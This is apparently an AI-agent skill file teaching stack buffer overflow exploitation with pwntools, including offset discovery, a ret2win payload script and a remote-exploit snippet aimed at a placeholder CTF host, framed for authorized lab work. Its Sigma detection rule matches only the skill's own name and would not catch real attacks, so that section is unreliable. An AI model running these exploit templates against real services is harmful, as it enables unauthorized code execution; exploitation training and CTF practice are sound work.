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<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
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---
name: performing-buffer-overflow-exploitation
description: >-
  Exploit stack-based and heap-based buffer overflow vulnerabilities to hijack control flow, overwrite return addresses, and achieve arbitrary code execution.
domain: cybersecurity
subdomain: binary-exploitation
tags:
  - buffer-overflow
  - stack-smash
  - control-flow-hijack
  - cyclic-pattern
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1203", "T1068"]
  cwe: ["CWE-120", "CWE-787"]
  tools: ["pwntools", "GEF", "gdb", "cyclic"]
---

# Performing Buffer Overflow Exploitation

## Overview

Exploit stack-based and heap-based buffer overflow vulnerabilities to hijack control flow, overwrite return addresses, and achieve arbitrary code execution.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `pwntools` | Security tooling |
| `GDB with GEF/pwndbg` | Security tooling |
| `checksec` | Security tooling |
| Target binary with identified vulnerability | Environment requirement |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |

## Workflow

### Step 1: Find Overflow Offset

```bash
# Generate cyclic pattern
python3 -c "from pwn import *; print(cyclic(200).decode())" | ./vuln

# In GDB/GEF
gef> run < <(python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))")
gef> pattern search $rsp
```

### Step 2: Build Overflow Payload

```python
from pwn import *

context.binary = elf = ELF("./vuln")
offset = cyclic_find(cyclic(200))  # auto-detect from crash

# Simple ret2win
payload = flat(
    b"A" * offset,
    elf.symbols["win"],
)

# With stack alignment
payload = flat(
    b"A" * offset,
    ROP(elf).find_gadget(["ret"])[0],
    elf.symbols["win"],
)
```

### Step 3: Exploit Remotely

```python
from pwn import *

context.binary = elf = ELF("./vuln")

p = remote("target.ctf", 1337)
p.recvuntil(b"Input: ")
p.sendline(payload)
print(p.recvall().decode())
```

## Detection

```yaml
title: Buffer Overflow Exploitation Detection
id: f8147bf8-5d1a-47dc-be23-f1fa1ce8bcfa
status: experimental
description: Detects suspicious activity related to performing buffer overflow exploitation techniques in binary exploitation context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*buffer*"
  condition: selection
level: critical
tags:
  - attack.t1203
  - attack.t1068
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Buffer Overflow Exploitation Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1203, T1068 |

## Verification

- [ ] Overflow offset determined via cyclic pattern
- [ ] Return address overwritten with controlled value
- [ ] Stack alignment handled for x86_64
- [ ] Exploit achieves code execution locally and remotely

## References

- [pwntools cyclic](https://docs.pwntools.com/en/stable/util/cyclic.html)
- [CWE-120](https://cwe.mitre.org/data/definitions/120.html)
